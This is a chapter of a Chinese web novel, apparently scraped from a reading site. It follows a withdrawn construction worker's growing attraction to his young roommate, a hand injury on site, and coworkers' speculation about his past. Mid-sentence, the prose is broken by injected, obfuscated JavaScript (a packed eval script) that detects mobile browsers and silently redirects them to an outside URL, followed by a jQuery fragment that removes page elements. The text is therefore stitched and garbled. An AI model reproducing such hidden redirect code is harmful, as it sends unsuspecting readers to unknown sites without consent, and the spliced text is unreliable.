面纱,每个人身上都戴着一层面纱。
如果你爱着一个人,你会希望来上一阵风,吹拂起这面纱,让你看个清楚。
但有时候等着风、隔着面纱偷偷探看的时候,那依稀上扬的唇角,那扑朔迷离的双眸,都蕴含着一股欲说还休的乐趣,尤其是在捕捉对方的眼神时刻,对方有没有在看自己呢,有没有想自己呢,需不需要自己呢……
他们说这里有个专业术语,叫作“暧昧”。
赵俞琛已经二十八岁了,却不知道自己在和夏迩暧昧。
这事儿是自然也不自然地开始的。
夏迩到底年纪小,藏不住心事,对赵俞琛的喜欢都摆在明面上,他每天变着花样儿做饭,天天都盼着跟他学英文,时常兴高采烈地张开双臂去拥抱他,把自己挂在他身上,有好几次睡醒,赵俞琛看到夏迩蜷缩在自己怀里。
就像一只受伤的小兽,在自己怀里睡得恬然。
可赵俞琛在这双清澈的眸子里没有看到成年人的那种情欲怦訇的激情,于是他想当然地把夏迩对他的依恋视之为一个刚成年的孩子在偌大的上海孤苦无依时自然而然产生的情感。可他却完全忘了探究自己为何在离群索居几年后,突然享受起一个孩子的依赖。
这是不正常的,可他忘了。
忘了,于是越陷越深。
他会在下工后等待夏迩下班时,在网上一本一本挑选适合夏迩学习的英语工具书,他会在经过夜市时看到一条漂亮碎花连衣裙时想象夏迩穿上的模样,又或者在夏迩洗完澡后,他会不自觉地去看他那两条细瘦的小腿又不自在地移开目光……
到了另一个阶段,他开始好奇且十分在意起夏迩脖颈上的那些红痕。
“怎么弄出来的?”他看似漫不经心地问,却紧张地等待回答。
可夏迩不愿意说,他转过脸,以赵俞琛并不讨厌甚至心疼的神色搪塞过去。
渐渐地,又到了另一个阶段。在这个阶段里,赵俞琛才猛然发觉出自己的变化。
其实他已经禁欲很久了,心上的伤痕不允许他在性/爱中得到快乐,他产生了一种违背人性的抵抗情绪,在日复一日的劳作中,他似乎成为了一个苦修的修士。在这种对欲望的自戕中,他抽离出这具肉/体,又成为了安·兰德笔下的洛克,只是他更为决绝,痛不是他的,快乐,亦不是他的。
可是有一天,当他在等待夏迩回家的时候,时常叨扰他的那股热流又朝他涌来,可是这一次,他居然无法抵抗。
他走进卫生间,用冷水把自己浇了个透。
可是不行,依旧不行,此时,他骄矜的自我破开了一个口子,尤其是当卫生间里散发洗发水和沐浴露的味道时,他所习惯的这种廉价的花香气给他勾勒出了一道模糊的身影,他在这道模糊的身影里纾解,几年来的压抑得到释放,直到最后一刻,他懊恼而悲哀地发现,那道身影转过来,卷发摩挲在他脸上,夏迩的眼神清纯、无邪。
这一刻,赵俞琛觉得自己疯了,他玷污了自己,也玷污了夏迩。
这一晚他睡得特别早,夏迩回来时他已经睡下了,重新打了地铺,睡在了地上。夏迩喊了他几声,让他来床上睡,他没有动作。夏迩在疑惑中以为他睡得熟,于是不再打扰他了,俯身在他脸上吻了吻,跟他说晚安。
那抹冰凉和湿漉漉的气息让赵俞琛心中警声大作,第二天凌晨天不亮他就跑到了工地上,他扛水泥袋子、搬脚手架子、刮腻子……比任何时间都要干得卖力,费小宝见了他这副模样,说他是天生的牛马,这辈子一定是没干过活儿,王工头却号召大家向他学习,工人就是要有干劲!
只有刘师傅觉得不对,中午吃饭的时候,蹲在柱子边的阴影下,他拉了赵俞琛,忧心忡忡地说:“人有劲儿也得省着点用,累到了身体不说,可别受伤了。”
赵俞琛却什么都听不下去了,他这张被泥灰沾染的脸昨晚承受了一个吻,那个吻在他的“玷污”之后,愧疚和自我厌恶几乎将他淹没。
于是不出意外,一根钢筋扎穿了他的手掌心。
他抬起血糊糊的左手掌,好一会儿才感受到疼。在老刘和费小宝等人朝他跑来的时候,有个好笑的念头在他心上徘徊不去,昨天分明是右手犯的罪,怎么今天是左手来偿还?
他被送到了工地上的医疗点,发现伤势有些重,于是在王工头骂骂咧咧声中去了社区的医院。在那里这根充电线一般粗细的钢筋条从他掌心里一点一点抽了出来,他盯着,瞧着,也不是面无表情,只是有点好奇,他观察这根表面有螺纹的钢筋从他血肉里出来时所涌出的鲜血,还有翻出来的碎肉……
这只手好像不是他的。
他这副超然物外的表情吓坏了身边的工人们,就连医生都说,疼了可以喊出来。
赵俞琛却做了个噤声的手势,示意医生继续,医生尴尬地点头,被他搞得满头大汗。
在打破伤风的时候,费小宝忍不住了,他拉了老刘上一边,问他赵俞琛是不是精神有问题。
老刘重重叹息一声,白了一眼费小宝,“你才精神有问题,小赵就是能忍嘛,他什么都能忍。”
“一个人怎么什么都能忍呢?”
“他不在乎嘛!”
“哇!”费小宝夸张地叫了一声,“手掌心被刺了个穿还不在乎?”
老刘摇摇头,他想起第一次见到赵俞琛是两年前,那时工地项目有一阵子了,某一天,天气热得很,把马路烤得冒烟。突然,工地外的树荫下出现了个年轻人,他坐在花坛边,盯着路面,一动不动,在沙尘中坐着,一坐就是好几天,像座雕塑。
“那时可白净了,白得有点过分,就像没晒太阳似的,他就坐在门口的樟树底下,原先那里有个花坛,后来被拆了嘛。他穿着件白衣裳,干净得很,问他坐在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16169235|179392||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这里做什么,他就看了我一眼,当时应该是在看我手里的活计,然后他指了指我的帽子,说他要当个工人。”
“我看他人高马大的,就把他领到老王那边去了,老王一开始让他干杂活,他什么也不挑,说干就干,除了不和我们住一起,他跟咱们就是一样的,后来他杂活干得太好,老王觉得他可以浇水泥,就跟我一起浇水泥了,果不其然,他那活儿干的,咱工程队里找不出第二个了!”
“我知道!”费小宝说:“他都不用看什么方案,他在旁边听一听就记住了。”
“是啊,他脑子好,有一回工地上不是来了个外国人嘛,说是设计师什么的,好像翻译当时生病了,问谁会英文,他说他会,就把他喊去了,别说英文,据说那老外英文也不咋地,是个德国人,然后他当时就切换了德语跟他聊,把老王和周经理都惊的,我猜老王是看上了他这个人才,才跟他签了合同,万一以后跟外国人做项目呢,免了翻译钱。”
“所以啊。”老刘意味深长地看了一眼费小宝,“人家的事,别问,能用脑子干活地跑来工地上下苦力,那颗心里藏着啥咱都不知道呢!”
费小宝挑挑眉然后就去看赵俞琛了,赵俞琛打完了破伤风,在询问医生保险的事,幸运的是,他有工伤保险,都能报。
晚上回到家,夏迩一见他手上包了绷带,还提着一袋消炎药,蹭的一下站起身。
“怎么回事,嗯?怎么回事?”他捧着赵俞琛的手,直往上面吹气。
赵俞琛笑,“早就不疼了。”
“什么伤?”
“钢筋扎手了。”
夏迩倒吸一口冷气,震惊了片刻,他连忙说:“我、我明天,明天买个猪蹄回来炖……”
他一着急就给结巴了,赵俞琛忍俊不禁,逗趣道:“吃啥补啥,补我这个猪蹄。”
“不是这个意思!怎么就伤了呢?伤这么重……”夏迩眼角发红,亮晶晶的眼泪将落未落,赵俞琛突然想到那个吻,不自在地收回了手。
“先吃饭吧。”
“用我喂你吗?”
“我伤的是左手。”
夏迩乖乖地坐到了赵俞琛对面,简陋的桌椅上是两盘热腾腾的小菜,赵俞琛沉默地吃饭,夏迩瞅着他,想问什么,却始终没有开口。
有时候,有的面纱是不能轻易揭开的,就像赵俞琛不会轻易开口谈说自己的过去,就像夏迩,他不会告诉赵俞琛自己在做什么样的工作,每天都面对的是些什么人。
他受不了,也觉得对方受不了。
只是这一晚,在夏迩的央求中,赵俞琛睡到了床上。其实手很疼,疼得他大半夜都睡不着,只是他习惯了不动作,即使睡不着也能闭着眼一动不动,于是当夏迩亲了亲他往他怀里钻的时候,他就在想,过去的每一晚,难道都是如此吗?
他喜欢自己吗?他不是说,他不喜欢男人的吗?